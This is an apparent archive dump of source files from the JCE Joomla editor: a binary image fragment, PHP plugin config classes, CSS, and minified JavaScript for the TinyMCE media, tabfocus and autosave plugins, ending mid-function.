IHDR�f�dK	pHYs���IDATh�p������Iy�ڪTŢ��#!�DBK�A��XA�bu:�>꣄i}�Q��
�S��b�ф�Gy�Tt��Z��Ҙ�@���f�����v6u:�Μ=����{�sϽ߷��g�J����_TA�>�a]���ks"�C������ٺr����ɾ�2�ƙr�u?y��6G��Oƒ�����x�ڵ����|3�շʮ<��#9��G��G�}��W 	�:|�INI1S�ӭ��Ç����������t�?��/��r�7�?4#�ݽ{�؉'��m(�iU����?b���0�%%��p�6�5���f�&�1�
^z�^c�}]�2e�p͝���ن
ھ.;�ׁ-����tVn۶�ӝ-����#G�$�����N��RH.���i>�jZZ[��S���fJJK���
sq?�Q]r��Vf���6���^mwF������v!�����^STTT���2GXX�Q�9}��bE/�[�3g�����+��H���JKK�{�o���q�-���2�nƞ���ӧ/†�:�L�***�e�g������dee��x<wz��K�#;��\�gJJJ�:'Qѡ��ڵk4=���2qQa&).�x�d$��k"\.+���Pl
n��+T�7f̘��Vh(���a�`_kWZZ�U���q�uq�{���V6mڴ;{j�x�q��ꪞ��w�ŽQ6��[�Ϧ|��*8A<���u?��˳�
t�O߫�� t�NiҤI���mz��=���~11��bN9�q9�&�֢C�Xr���e�q���j���z�i�QO��l=�|��E���Ϫ��ɗ�P=��΁���I�	-������ꟂM���v�C[�l9zl4s>N�*d����>off���ƕ�{���
��]�C<ܟ�nݺ�98���b����-��z�e\��-555��N�?�\k�G��B����
�ۮc��^�5TN�1~Zc��N>��<�Ps�	���@�겲�m�����[�HG䳬�T2�[�s�y.t7�����ֻ��7322���W	�H�۷o��>m��S�6i3�n��*+��X+Y��Le�P=�r�O�8�Y
�`�y0�et9��I��
�@kxh�റ�����+�	�S��	-�����_�\��Q�������B�Ǐ��>�Y�{PA�:�{��"�ϲGΒ-� w��pm�����q�ĉ��'��
�K�Vɂ�?�i�O�/c�w�G�1�1.`��Ւ�G�e�]
-����;}K�χo�N���̻��I�9�N��;[��������%�n��K�n�~A��vh�oh�M�:��o�Ӹ��Hh^)*2V�L:�\-��Ү݂㘸��ɓ/��豂��0x<��N]Գ����!����ԫ�$�cTg�L�?�躙�_@��:lG	jl��Ӛ�;v�����wP5ltP��l�+�A�7<<�"2��#h���#1��T�����!��y�{빆��"��R�("""['�]#Л���C�_�� Ȕ̣�v�W��2|�M���A���#��=��l4��5�*��Iz�$��ʸ���X�tꔙ��c�-Dס�`r9������Y;�E|?n_ʵ#:�\N���L��'��fe��{��`!���=dJ�ܪ�0���1��7u˹�FZ��l�RL�2V�d��]pb��P�΋�}o�A@����E�X��h%�;9AK?�7�:��z�}[7���ź�ֆ�?i„	ڬ:b�y���^��a��+�׫��]��ݯ�/�5�����d�@ Ř�G9i`~��ޖn�槛��jSXXhMuUU�`R`�Z�=��
�3�<�r�Tz��G͝�@2��mG�W�wQ.P?+�1��w�_�~�d�����C�x�z���vZZ���<������q�G�؉��3��ۖ�]��(G�u�٣�=�ݧ�o.'B�L,���_{l(4h�7�������0W�0G��q>��Z��zY ۓ����=�7����_�I
�<�8@z%/���6u��7._~7Z���>L`���-��K[`����B�0F��I��������|�ؘOp
$�.@��^�e�,>� �	]W�Tfi��d���V�N�b�HceBBB1vD1��\z��Ƴ��ѫ�~t�����Ih�p8p5�OUg���l�Rp��!����D�4=�8�t���1���V���y���I�1�_�]f��͛k��?ZL �!��|n�!؈�\lz�͵�TО��a�����{��]�M�I7�Ƶ�,��C�&؈@`lT	}&���oHLH0<�o!ՉF�`��}
&Q����7qv�&B����&�z�*sf͚�^�v�
��
y��9[&�l����V�s��AN��B����pOS�q�"X������J�7@w@1Ѝ5j[�c�po�-�ݝ��v�L�Ö+�B�ߊMG,�A?�'���R��%ct��O}-�z����܈N�e,�@�������^E��{�n����c���K�:�V����)>q�-w�^�b���Hu�H;;���ަݲ���f�-v��vu��ZH�:�mEiii�,J�i�ɤ�$���4�9B����RyEo �!�����$��9��W�|	߷o���*999�*++��k����u�"�������l�`9c�7X��K+z��3��:��
�]���!ӛdH���]`���@�_�,;<77Җѧ��
&+�)�h{	"�>9^�	����:z�y�ǻ�a����۫�+ߑ��ܹs;�J���3qqqz�yR:U6m�T�^�/�I����#���z��)��ϣ]�ySԝ�i9��S��y$tL�@�@�ɇG��Y������~�@�e�7���]"=D�tt*��°���K쐣��d0�,�h,�Y�-��i��T�	>=��]mg�'��@����ξz�z���w�,�IEND�B`�editor/tiny_mce/plugins/media/classes/config.php000060400000003732150750527140016023 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFMediaPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        $tags = array();

        if ($wf->getParam('media.iframes', 0)) {
            $tags[] = 'iframe';
        }

        if ($wf->getParam('media.audio', 1)) {
            $tags[] = 'audio';
        }

        if ($wf->getParam('media.video', 1)) {
            $tags[] = 'video';
        }

        if (in_array('audio', $tags) || in_array('video', $tags)) {
            $tags[] = 'source';
        }

        if ($wf->getParam('media.embed', 1)) {
            $tags[] = 'embed';
        }

        if ($wf->getParam('media.object', 1)) {
            $tags[] = 'object';
            $tags[] = 'param';
        }

        $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $tags);

        $settings['media_strict'] = $wf->getParam('media.strict', 1, 1);

        $settings['media_live_embed'] = $wf->getParam('media.live_embed', 0, 0);

        $settings['media_version_flash'] = $wf->getParam('media.version_flash', '10,1,53,64', '10,1,53,64');
        $settings['media_version_windowsmedia'] = $wf->getParam('media.version_windowsmedia', '10,00,00,3646', '10,00,00,3646');
        $settings['media_version_shockwave'] = $wf->getParam('media.version_shockwave', '10,2,0,023', '10,2,0,023');
        $settings['media_version_quicktime'] = $wf->getParam('media.version_quicktime', '7,3,0,0', '7,3,0,0');
        $settings['media_version_java'] = $wf->getParam('media.version_java', '1,5,0,0', '1,5,0,0');
    }
}
editor/tiny_mce/plugins/media/classes/index.html000060400000000054150750527140016034 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/media/css/content.css000060400000003441150750527140015361 0ustar00.mce-item-audio,.mce-item-divx,.mce-item-embed,.mce-item-flash,.mce-item-generic,.mce-item-iframe,.mce-item-media,.mce-item-quicktime,.mce-item-realmedia,.mce-item-shockwave,.mce-item-silverlight,.mce-item-video,.mce-item-windowsmedia{outline:#bbb dashed 1px!important;background-position:center;background-repeat:no-repeat;background-color:#fafafa}.mce-item-generic{min-width:50px;min-height:50px}.mce-item-embed,.mce-item-generic{background-image:url(../img/generic.png)}.mce-item-shockwave{background-image:url(../img/shockwave.png)}.mce-item-flash{background-image:url(../img/swf.png)}.mce-item-quicktime{background-image:url(../img/quicktime.png)}.mce-item-windowsmedia{background-image:url(../img/windowsmedia.png)}.mce-item-realmedia{background-image:url(../img/real.png)}.mce-item-divx,.mce-item-silverlight{background-image:url(../img/video.png)}.mce-item-pdf{background-image:url(../img/pdf.png)}.mce-item-iframe{background-image:url(../img/iframe.png)}.mce-item-audio{background-image:url(../img/audio.png);width:200px;height:25px}.mce-item-video{background-image:url(../img/video.png)}.mce-item-audio.mce-item-agentgecko{height:28px}.mce-item-audio.mce-item-agentchrome,.mce-item-audio.mce-item-agentgecko,.mce-item-audio.mce-item-agentopera{width:300px}.mce-item-audio.mce-item-agentchrome{height:32px}.mce-item-preview.mce-item-selected{outline:#39f solid 2px!important;background-color:#fafafa!important}.mce-item-preview{background-color:#fafafa;box-sizing:border-box;display:inline-block;position:relative}.mce-item-preview iframe{z-index:5}.mce-item-shim{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) rgba(0,0,0,.5);height:100%;left:0;position:absolute;top:0;width:100%;z-index:1;display:block}.mce-item-preview.mce-item-selected .mce-item-shim{display:none}editor/tiny_mce/plugins/media/css/index.html000060400000000054150750527140015167 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/media/editor_plugin.js000060400000040061150750527140015606 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var each=tinymce.each,extend=tinymce.extend,JSON=tinymce.util.JSON,Node=(tinymce.dom.Event,tinymce.html.Node),Styles=new tinymce.html.Styles,mediaTypes={flash:{classid:"CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000",type:"application/x-shockwave-flash",codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,1,53,64"},shockwave:{classid:"CLSID:166B1BCA-3F9C-11CF-8075-444553540000",type:"application/x-director",codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=10,2,0,023"},windowsmedia:{classid:"CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6",type:"application/x-mplayer2",codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=10,00,00,3646"},quicktime:{classid:"CLSID:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",type:"video/quicktime",codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version=7,3,0,0"},divx:{classid:"CLSID:67DABFBF-D0AB-41FA-9C46-CC0F21721616",type:"video/divx",codebase:"http://go.divx.com/plugin/DivXBrowserPlugin.cab"},realmedia:{classid:"CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA",type:"audio/x-pn-realaudio-plugin"},java:{classid:"CLSID:8AD9C840-044E-11D1-B3E9-00805F499D93",type:"application/x-java-applet",codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"},silverlight:{classid:"CLSID:DFEAF541-F3E1-4C24-ACAC-99C30715084A",type:"application/x-silverlight-2"},video:{type:"video/mpeg"},audio:{type:"audio/mpeg"},iframe:{}};tinymce.create("tinymce.plugins.MediaPlugin",{init:function(ed,url){function isMediaNode(n){return n&&(ed.dom.is(n,".mce-item-media")||null!==ed.dom.getParent(n,".mce-item-media"))}function isMediaClass(cls){return cls&&/mce-item-(media|flash|shockwave|windowsmedia|quicktime|realmedia|divx|silverlight|audio|video|generic|iframe)/.test(cls)}var self=this,lookup={},cbase={flash:{codebase:"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version="+ed.getParam("media_version_flash","10,1,53,64")},shockwave:{codebase:"http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version="+ed.getParam("media_version_shockwave","10,2,0,023")},windowsmedia:{codebase:"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version="+ed.getParam("media_version_windowsmedia","10,00,00,3646")},quicktime:{codebase:"http://www.apple.com/qtactivex/qtplugin.cab#version="+ed.getParam("media_version_quicktime","7,3,0,0")},java:{codebase:"http://java.sun.com/products/plugin/autodl/jinstall-1_5_0-windows-i586.cab#Version="+ed.getParam("media_version_java","1,5,0,0")}};each(cbase,function(v,k){extend(mediaTypes[k],v)}),this.mimes={},function(data){var i,y,ext,items=data.split(/,/);for(i=0;i<items.length;i+=2)for(ext=items[i+1].split(/ /),y=0;y<ext.length;y++)self.mimes[ext[y]]=items[i]}("application/x-director,dcr,video/divx,divx,application/pdf,pdf,application/x-shockwave-flash,swf swfl,audio/mpeg,mpga mpega mp2 mp3,audio/ogg,ogg spx oga,audio/x-wav,wav,video/mpeg,mpeg mpg mpe,video/mp4,mp4 m4v,video/ogg,ogg ogv,video/webm,webm,video/quicktime,qt mov,video/x-flv,flv,video/vnd.rn-realvideo,rv","NaNvideo/x-matroska,mkv"),self.editor=ed,self.url=url;each(mediaTypes,function(v,k){v.name=k,v.classid&&(lookup[v.classid]=v),v.type&&(lookup[v.type]=v),lookup["mce-item-"+k]=v,lookup[k.toLowerCase()]=v}),self.lookup=lookup,ed.onPreInit.add(function(){var invalid=ed.settings.invalid_elements;"html4"===ed.settings.schema&&(ed.schema.addValidElements("iframe[longdesc|name|src|frameborder|marginwidth|marginheight|scrolling|align|width|height|allowfullscreen|seamless|*]"),ed.schema.addValidElements("video[src|autobuffer|autoplay|loop|controls|width|height|poster|*],audio[src|autobuffer|autoplay|loop|controls|*],source[src|type|media|*],embed[src|type|width|height|*]")),ed.schema.addCustomElements("mce-comment"),invalid=tinymce.explode(invalid,","),ed.parser.addNodeFilter("object,embed,video,audio,script,iframe",function(nodes){for(var node,i=nodes.length;i--;)node=nodes[i],tinymce.inArray(invalid,node.name)==-1?self.toImage(node):node.remove()}),ed.serializer.addNodeFilter("img,span",function(nodes,name,args){for(var node,cls,i=nodes.length;i--;)node=nodes[i],cls=node.attr("class")||"",isMediaClass(cls)&&self.restoreElement(node,args)})}),ed.onInit.add(function(){ed.theme&&ed.theme.onResolveName&&ed.theme.onResolveName.add(function(theme,o){var n=o.node;if(n){var cls=ed.dom.getAttrib(n,"class","");cls.indexOf("mce-item-media")!==-1&&(o.name="media"),cls.indexOf("mce-item-iframe")!==-1&&(o.name="iframe")}}),ed.settings.compress.css||ed.dom.loadCSS(url+"/css/content.css")}),ed.onNodeChange.add(function(ed,cm,n){var s=isMediaNode(n);if(ed.dom.removeClass(ed.dom.select(".mce-item-selected.mce-item-preview"),"mce-item-selected"),s){var p=ed.dom.getParent(n,".mce-item-media.mce-item-preview");ed.dom.addClass(p,"mce-item-selected"),ed.selection.select(p)}}),ed.onBeforeSetContent.add(function(ed,o){var h=o.content;h=h.replace(/<(audio|embed|object|video|iframe)([^>]*?)>([\w\W]+?)<\/\1>/gi,function(a,b,c,d){return d=d.replace(/<!(--)?(<!)?\[if([^\]]+)\](>--)?>/gi,"<![if$3]>"),d=d.replace(/<!\[if([^\]]+)\]>/gi,function(a,b){return'<mce-comment data-comment-condition="[if'+b+']">'}),d=d.replace(/<!(--<!)?\[endif\](--)?>/gi,"</mce-comment>"),"<"+b+c+">"+d+"</"+b+">"}),o.content=h}),ed.onPostProcess.add(function(ed,o){o.get&&(o.content=o.content.replace(/<mce-comment data-comment-condition="([^>]+)">/gi,"<!--$1>"),o.content=o.content.replace(/<\/mce-comment>/g,"<![endif]-->"))})},getInfo:function(){return{longname:"Media",author:"Ryan Demmer",authorurl:"http://www.joomlacontenteditor.net",infourl:"http://www.joomlacontenteditor.net",version:"@@version@@"}},convertUrl:function(url,force_absolute){var self=this,ed=self.editor,settings=ed.settings,converter=settings.url_converter,scope=settings.url_converter_scope||self;if(!url)return url;var query="",n=url.indexOf("?");return n===-1&&(url=url.replace(/&amp;/g,"&"),n=url.indexOf("&")),n>0&&(query=url.substring(n+1,url.length),url=url.substr(0,n)),url=force_absolute?ed.documentBaseURI.toAbsolute(url):converter.call(scope,url,"src","object"),url+(query?"?"+query:"")},createTemplate:function(n,o){function is_child(n){return/^(audio|embed|object|video|iframe)$/.test(n.parent.name)}var nn,hc,cn,html,v,self=this,ed=this.editor;ed.dom;if(hc=n.firstChild,nn=n.name,o=o||{},/^(audio|embed|object|param|source|video|iframe)$/.test(nn)){var at=this.serializeAttributes(n);switch(nn){case"audio":case"embed":case"object":case"video":case"iframe":case"param":hc||is_child(n)?("undefined"==typeof o[nn]&&(o[nn]={}),extend(o[nn],at),o=o[nn]):extend(o,at);break;case"source":"undefined"==typeof o[nn]&&(o[nn]=[]),o[nn].push(at)}if(hc)for(cn=n.firstChild;cn;)self.createTemplate(cn,o),cn=cn.next}else if("mce-comment"==nn)if(v=n.attr("data-comment-condition")){if("undefined"==typeof o[nn]&&(o[nn]={}),extend(o[nn],{"data-comment-condition":v}),hc)for(cn=n.firstChild,o=o[nn];cn;)self.createTemplate(cn,o),cn=cn.next}else v=new tinymce.html.Serializer({inner:!0,validate:!1}).serialize(n),"undefined"==typeof o[nn]?o[nn]=[tinymce.trim(v)]:o[nn].push(tinymce.trim(v));else html="#text"==nn?n.value:(new tinymce.html.Serializer).serialize(n);return html&&("undefined"==typeof o.html&&(o.html=[]),o.html.push(html)),o},toImage:function(n){var type,name,styles,matches,placeholder,ed=this.editor,o={},data={},classid="";if(n.parent&&!/^(object|audio|video|embed|iframe)$/.test(n.parent.name)){if(placeholder="iframe"===n.name&&ed.getParam("media_live_embed")?new Node("span",1):new Node("img",1),"script"===n.name){if(n.firstChild&&(matches=/(JCEMediaObject|write(Flash|ShockWave|QuickTime|RealMedia|WindowsMedia|DivX))/i.exec(n.firstChild.value)),!matches)return;type=matches[1].toLowerCase(),data=JSON.parse(matches[2]),w=data.width,h=data.height,name="object"}else{name=n.name;var style=Styles.parse(n.attr("style")),w=n.attr("width")||style.width||384,h=n.attr("height")||style.height||216,type=n.attr("type");if(data=this.createTemplate(n),"embed"==name&&"application/x-shockwave-flash"==type&&(name="object",data.param={},each(["bgcolor","flashvars","wmode","allowfullscreen","allowscriptaccess","quality"],function(k){var v=n.attr(k);if(v){if("flashvars"==k)try{v=encodeURIComponent(v)}catch(e){}data.param[k]=v}delete data[k]})),each(["audio","embed","object","video","iframe"],function(el){each(n.getAll(el),function(node){node.remove()})}),n.attr("classid")&&(classid=n.attr("classid").toUpperCase()),"object"==name){if(!data.data){var param=data.param;param&&(data.data=param.src||param.url||param.movie||param.source)}}else!data.src&&data.source&&data.source.length>1&&(data.src=data.source[0].src);var lookup=this.lookup[classid]||this.lookup[type]||this.lookup[name]||{name:"generic"};type=lookup.name||type;var style=Styles.parse(n.attr("style"));each(["bgcolor","align","border","vspace","hspace"],function(na){var v=n.attr(na);if(v)switch(na){case"bgcolor":style["background-color"]=v;break;case"align":/^(left|right)$/.test(v)?style.float=v:style["vertical-align"]=v;break;case"vspace":style["margin-top"]=v,style["margin-bottom"]=v;break;case"hspace":style["margin-left"]=v,style["margin-right"]=v;break;default:style[na]=v}}),each(["id","lang","dir","tabindex","xml:lang","style","title"],function(at){placeholder.attr(at,n.attr(at))}),(styles=ed.dom.serializeStyle(style))&&placeholder.attr("style",styles)}o[name]=data;var classes=[];if(n.attr("class")&&(classes=n.attr("class").split(" ")),name=name.toLowerCase(),classes.push("mce-item-media mce-item-"+name.toLowerCase()),"span"===placeholder.name&&classes.push("mce-item-preview"),type&&name!==type.toLowerCase()&&classes.push("mce-item-"+type.split("/").pop().toLowerCase()),"audio"==name){var agent=navigator.userAgent.match(/(Opera|Chrome|Safari|Gecko)/);agent&&classes.push("mce-item-agent"+agent[0].toLowerCase())}if(placeholder.attr({width:w,height:h,class:classes.join(" "),"data-mce-json":JSON.serialize(o)}),"iframe"===name&&ed.getParam("media_live_embed")){var preview=new tinymce.html.Node(name,1),attrs=o.iframe;tinymce.extend(attrs,{src:n.attr("src"),allowfullscreen:n.attr("allowfullscreen"),width:n.attr("width")||w,height:n.attr("height")||h,frameborder:"0"}),preview.attr(attrs),placeholder.attr({contentEditable:"false"});var shim=new tinymce.html.Node("span",1);shim.attr("class","mce-item-shim"),placeholder.append(preview),placeholder.append(shim)}else placeholder.attr({src:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"});n.replace(placeholder)}},serializeAttributes:function(n){var k,v,ed=this.editor,self=this,attribs=(this.editor.dom,{});if("iframe"!=n||"param"!=n){var type=n.attr("type"),src=n.attr("src")||n.attr("data");if(!type&&src){var ext;/\.([a-z0-9]{2,4})/.test(src)&&(ext=/\.([a-z0-9]{2,4})/.exec(src),ext=ext[1]||""),ext&&(attribs.type=this.mimes[ext])}}if("param"==n.name){if(k=n.attr("name"),v=n.attr("value"),k&&""!=v&&"flashvars"==k)try{v=encodeURIComponent(v)}catch(e){}attribs[k]=v}else for(k in n.attributes.map)switch(v=n.attributes.map[k],k){case"poster":case"src":case"data":attribs[k]=self.convertUrl(v);break;case"autoplay":case"controls":case"loop":case"seamless":case"allowfullscreen":attribs[k]=k;break;case"frameborder":0==parseInt(v)&&"html5"===ed.settings.schema?attribs.seamless="seamless":attribs[k]=v;break;case"type":attribs[k]=v.replace(/"/g,"'");break;default:attribs[k]=v}if("embed"==n.name&&"object"==n.parent.name){var params=n.parent.getAll("param");params&&each(params,function(p){if(k=p.attr("name"),v=p.attr("value"),k&&""!=v&&"flashvars"==k)try{v=encodeURIComponent(v)}catch(e){}attribs[k]=v})}return attribs},createNodes:function(data,el){function createNode(o,el){each(o,function(v,k){var n,nn=el.name;if(tinymce.is(v,"object"))if(/(param|source)/.test(nn)&&/(audio|embed|object|video)/.test(k)&&(el=el.parent),"mce-comment"==k){var node=new Node("#comment",8);node.value=v["data-comment-condition"]+">",delete v["data-comment-condition"],el.append(node),createNode(v,el),node=new Node("#comment",8),node.value="<![endif]",el.append(node)}else if(v instanceof Array)each(v,function(s){tinymce.is(s,"string")?self.setAttribs(el,data,k,s):(node=new Node(k,1),"source"==k&&(node.shortEnded=!0),createNode(s,node),el.append(node))});else if("param"==k)for(n in v){var param=new Node(k,1);param.shortEnded=!0,self.setAttribs(param,data,n,v[n]),el.append(param)}else node=new Node(k,1),el.append(node),createNode(v,node);else if("#comment"==nn){var comment=new Node("#comment",8);comment.value=dom.decode(v),el.append(comment)}else self.setAttribs(el,data,k,v)})}var self=this,ed=this.editor,dom=ed.dom;return createNode(data,el),el},setAttribs:function(n,data,k,v){var ed=this.editor,dom=ed.dom,nn=n.name;if(null!=v&&"undefined"!=typeof v)if("param"==nn){switch(k){case"flashvars":try{v=decodeURIComponent(v)}catch(e){}break;case"src":case"movie":case"source":case"url":v=this.convertUrl(v)}n.attr("name",k),n.attr("value",v.toString())}else switch(k){case"width":case"height":v=data[k]||v,n.attr(k,v.toString());break;case"class":var cls=tinymce.explode(" ",n.attr("class"));tinymce.inArray(cls,v)===-1&&v.indexOf("mce-item-")===-1&&cls.push(tinymce.trim(v)),v=tinymce.trim(cls.join(" ")),v&&n.attr("class",v);break;case"type":n.attr(k,v.replace(/(&(quot|apos);|")/g,"'"));break;case"flashvars":try{v=decodeURIComponent(v)}catch(e){}n.attr(k,v);break;case"src":case"data":case"source":n.attr(k,this.convertUrl(v));break;case"html":var html=new Node("#text",3);html.raw=!0,html.value=(n.value?n.value:"")+dom.decode(v),n.append(html);break;default:if(!k||"undefined"==typeof v)return;n.attr(k,v.toString())}},getMimeType:function(s){if(/\.([a-z0-9]{2,4})/.test(s)){var ext=s.substring(s.length,s.lastIndexOf(".")+1).toLowerCase();return this.mimes[ext]}var props,type,cl=s.match(/mce-item-(audio|video|flash|shockwave|windowsmedia|quicktime|realmedia|divx|pdf|silverlight|iframe)/);return cl&&(props=mediaTypes[cl[1]],props&&(type=props.type)),type},restoreElement:function(n,args){var props,v,ed=this.editor,data=(ed.dom,JSON.parse(n.attr("data-mce-json"))),name=this.getNodeName(n.attr("class")),parent=new Node(name,1),root=data[name],src=root.src||root.data||"",params=root.param||"";each(["width","height"],function(k){v=n.attr(k),v&&"audio"!=name&&(root[k]&&root[k]==v||(root[k]=v)),each(["object","embed","video"],function(s){root[s]&&!root[s][k]&&(root[s][k]=v)})}),each(["id","lang","dir","tabindex","xml:lang","style","title","class"],function(at){v=n.attr(at),"class"==at&&(v=v.replace(/\s?mce-item-([\w]+)/g,""),v=tinymce.trim(v)),v&&/\w+/.test(v)&&(root[at]=v)});var strict=ed.getParam("media_strict",!0)&&/mce-item-(flash|shockwave)/.test(n.attr("class"));if(root.type||(root.type=this.getMimeType(src)||this.getMimeType(n.attr("class"))),"object"==name)if(params=params||{},delete root.src,strict)root.data=src,/mce-item-flash/.test(n.attr("class"))&&extend(params,{movie:src}),delete params.src,delete root.embed,delete root.classid,delete root.codebase;else{var lookup=this.lookup[root.type]||this.lookup[name]||{name:"generic"};if("generic"!==lookup.name&&(root.embed||(root.embed={width:root.width,height:root.height,src:src,type:root.type}),delete root.data),root.classid||(root.classid=lookup.classid),root.codebase||(root.codebase=lookup.codebase),root.embed)for(k in params)/^(movie|source|url)$/.test(k)?root.embed.src=params[k]:root.embed[k]=params[k];if("generic"!==lookup.name){var k="src";/mce-item-windowsmedia/.test(n.attr("class"))&&(k="url"),/mce-item-silverlight/.test(n.attr("class"))&&(k="source"),params[k]=src}var props=this.lookup[name];extend(root,props),root.classid&&root.codebase&&delete root.type}else root.src&&root.source&&tinymce.is(root.source,"array")&&root.source.length&&(1==root.source.length?(root.source[0].src==root.src&&delete root.source,root.type||(root.type=this.getMimeType(root.src))):delete root.src);params&&(root.param=params),n.replace(this.createNodes(root,parent))},getNodeName:function(str){var match=/mce-item-(audio|embed|object|video|iframe)/i.exec(str);return match?match[1].toLowerCase():"object"}}),tinymce.PluginManager.add("media",tinymce.plugins.MediaPlugin)}();editor/tiny_mce/plugins/tabfocus/editor_plugin.js000060400000003367150750527140016345 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(9===j.keyCode)return a.cancel(j)}function h(l,p){function q(t){function s(v){return"BODY"===v.nodeName||"hidden"!=v.type&&!("none"==v.style.display)&&!("hidden"==v.style.visibility)&&s(v.parentNode)}function i(v){return v.attributes.tabIndex.specified||"INPUT"==v.nodeName||"TEXTAREA"==v.nodeName}function u(){return tinymce.isIE6||tinymce.isIE7}function r(v){return(!u()||i(v))&&"-1"!=v.getAttribute("tabindex")&&s(v)}if(n=c.select(":input:enabled,*[tabindex]:not(iframe)"),d(n,function(w,v){if(w.id==l.id)return j=v,!1}),t>0){for(m=j+1;m<n.length;m++)if(r(n[m]))return n[m]}else for(m=j-1;m>=0;m--)if(r(n[m]))return n[m];return null}var j,m,n,k;if(9===p.keyCode&&(k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next"))),1==k.length&&(k[1]=k[0],k[0]=":prev"),n=p.shiftKey?":prev"==k[0]?q(-1):c.get(k[0]):":next"==k[1]?q(1):c.get(k[1])))return n.id&&(l=tinymce.get(n.id||n.name))?l.focus():window.setTimeout(function(){tinymce.isWebKit||window.focus(),n.focus()},10),a.cancel(p)}f.onKeyUp.add(e),tinymce.isGecko?(f.onKeyPress.add(h),f.onKeyDown.add(e)):f.onKeyDown.add(h)},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}}),tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)}();editor/tiny_mce/plugins/tabfocus/index.html000060400000000054150750527140015126 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/tabfocus/classes/index.html000060400000000054150750527140016563 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/tabfocus/classes/config.php000060400000001107150750527140016544 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFPluginTabfocusConfig
{
    public static function getConfig(&$vars)
    {
        $vars['tabfocus_elements'] = ':prev,:next';
    }
}
editor/tiny_mce/plugins/autosave/editor_plugin.js000060400000006670150750527140016366 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce){var Dispatcher=tinymce.util.Dispatcher,Storage=window.localStorage;Storage&&(tinymce._beforeUnloadHandler=function(e){var msg;return tinymce.each(tinymce.editors,function(editor){editor.plugins.autosave&&editor.plugins.autosave.storeDraft(),!msg&&editor.isDirty()&&editor.getParam("autosave_ask_before_unload",!0)&&(msg=editor.translate("You have unsaved changes are you sure you want to navigate away?"),"undefined"!=typeof Joomla&&Joomla.loadingLayer&&Joomla.loadingLayer("hide"))}),msg},tinymce.create("tinymce.plugins.AutosavePlugin",{init:function(ed){function parseTime(time,defaultTime){var multipels={s:1e3,m:6e4};return time=/^(\d+)([ms]?)$/.exec(""+(time||defaultTime)),(time[2]?multipels[time[2]]:1)*parseInt(time,10)}function hasDraft(){var time=parseInt(Storage.getItem(prefix+"time"),10)||0;return!((new Date).getTime()-time>settings.autosave_retention)||(removeDraft(!1),!1)}function removeDraft(fire){var content=Storage.getItem(prefix+"draft");Storage.removeItem(prefix+"draft"),Storage.removeItem(prefix+"time"),fire!==!1&&content&&self.onRemoveDraft.dispatch(self,{content:content})}function storeDraft(){if(!isEmpty()&&ed.isDirty()){var content=ed.getContent({format:"raw",no_events:!0}),expires=(new Date).getTime();Storage.setItem(prefix+"draft",content),Storage.setItem(prefix+"time",expires),self.onStoreDraft.dispatch(self,{expires:expires,content:content})}}function restoreDraft(){if(hasDraft()){var content=Storage.getItem(prefix+"draft");ed.setContent(content,{format:"raw"}),self.onRestoreDraft.dispatch(self,{content:content})}}function startStoreDraft(){started||(setInterval(function(){ed.removed||storeDraft()},settings.autosave_interval),started=!0)}function restoreLastDraft(){ed.undoManager.beforeChange(),restoreDraft(),removeDraft(),ed.undoManager.add(),ed.nodeChanged()}function isEmpty(html){var 